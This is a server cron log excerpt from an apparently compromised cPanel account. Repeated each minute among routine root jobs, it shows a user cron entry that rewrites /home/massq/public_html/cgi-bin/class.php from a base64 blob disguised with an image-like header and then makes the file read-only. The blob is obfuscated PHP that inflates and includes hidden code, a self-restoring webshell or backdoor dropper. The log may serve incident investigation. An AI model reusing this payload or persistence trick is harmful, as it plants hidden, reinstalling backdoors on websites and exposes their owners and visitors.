Nov 11 19:37:01 server CROND[6710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:38:01 server CROND[7149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:39:01 server CROND[7689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:39:01 server CROND[7690]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:40:01 server CROND[8071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:40:01 server CROND[8072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 19:40:01 server CROND[8073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:40:01 server CROND[8074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:41:01 server CROND[9212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:42:01 server CROND[10023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:42:01 server CROND[10024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:43:01 server CROND[10888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:44:01 server CROND[11769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:45:01 server CROND[12583]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:45:01 server CROND[12585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:45:01 server CROND[12584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:46:01 server CROND[13503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:47:01 server CROND[14312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:48:01 server CROND[15114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:49:01 server CROND[15923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:50:01 server CROND[16695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
